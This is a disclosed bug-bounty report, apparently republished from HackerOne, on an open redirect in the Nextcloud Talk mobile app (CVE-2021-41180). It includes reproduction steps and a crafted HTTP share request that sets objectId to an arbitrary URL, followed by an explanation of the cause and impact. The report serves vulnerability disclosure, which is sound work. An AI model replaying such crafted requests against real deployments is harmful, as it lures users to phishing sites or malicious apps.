Skip to content
Open redirect Disclosed report Intermediate CVE-2021-41180

objectId in share location can be set to open arbitrary URL or Deeplinks

The Nextcloud Talk mobile app's location-sharing endpoint accepts an arbitrary URL in the objectId parameter, which is then rendered as a clickable map. When a user taps the map, the app opens the attacker-supplied URL or deep link.

ctulhu Follow

Originally disclosed on HackerOne

  • Triaged in 42 hours
  • Fixed in 17 days
  • Paid in 44 days
  • Disclosed after 6 months

Summary:

The NextCloud Talk app allows a user to share their location in the Mobile App. The objectId= in /ocs/v2.php/apps/spreed/api/v1/chat/$token/share Can be set to a URL or Deeplink, While the metaData= will render the map, Once a user clicked the map it will open the defined URL or Deeplink in the crafted request.

For days, I've been thinking and trying different ways to Increase its Severity but i guess im stuck so here i am Reporting this.

Steps To Reproduce:

Note: Location Sharing is only allowed in the Mobile App.

  • 1.) Using the app share your location and Intercept it, The request should be similar to the Request Below.
  • 2.) Alter the objectId= to whatever URL you want to point it at.
  • 3.) Send the Request
  • 4.) Using the Mobile app, Click the map and it will redirect you to the url.

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

Request

POST /ocs/v2.php/apps/spreed/api/v1/chat/wqfqmw9n/share HTTP/2
Host: localhost
Cookie: oc_sessionPassphrase=cookie; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; occi3pyo3vg0=6lheeis7ot8kcnvdgq12ijl90e
Authorization: Basic 
User-Agent: Mozilla/5.0 (Android) Nextcloud-Talk v12.2.1
Accept: application/json
Ocs-Apirequest: true
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
Accept-Encoding: gzip, deflate

objectType=geo-location&objectId=https://ctulhu.me&referenceId=kkk&metaData={"type":"geo-location","id":"geo:14.600765443470294,121.00452968052457","latitude":"14.600765443470294","longitude":"121.00452968052457","name":"hehe"}

Response

HTTP/2 201 Created
Date: Sat, 11 Sep 2021 17:30:22 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 509
Expires: Thu, 19 Nov 1981 08:52:00 GMT


{"ocs":{"meta":{"status":"ok","statuscode":201,"message":"OK"},"data":{"id":237,"token":"wqfqmw9n","actorType":"users","actorId":"secret","actorDisplayName":"secret","timestamp":1631381422,"message":"{object}","messageParameters":{"actor":{"type":"user","id":"secret","name":"secret"},"object":{"type":"geo-location","id":"https:\/\/ctulhu.me","latitude":"14.600765443470294","longitude":"121.00452968052457","name":"hehe"}},"systemMessage":"","messageType":"comment","isReplyable":true,"referenceId":"kkk"}}}

Impact

A attacker can abuse this to fool the user to open a malicious url or 3rd party app.

The original report as published on HackerOne, by ctulhu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server does not validate that the objectId for a geo-location share is a safe identifier rather than an arbitrary URL, and the mobile client trusts it when rendering the map link.

Impact

An attacker could trick a user into opening a malicious URL or third-party app by tapping the shared map.

What the attacker needed

Location sharing enabled in mobile app; Attacker can send a crafted share request; Victim taps the shared map

How it was found

  1. Share your location in the mobile app and intercept the request.
  2. Change the objectId value to any URL you want.
  3. Send the modified request.
  4. In the mobile app, tap the map and it redirects to the URL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you share your location in a chat app, the app sends a request to a server with details about that location. This report shows that one of those details, meant to be an identifier, can be replaced with any web address. The app then shows a map that, when tapped, takes the user to that address, which could be a phishing site or a malicious app link.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by ctulhu

View all

12 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.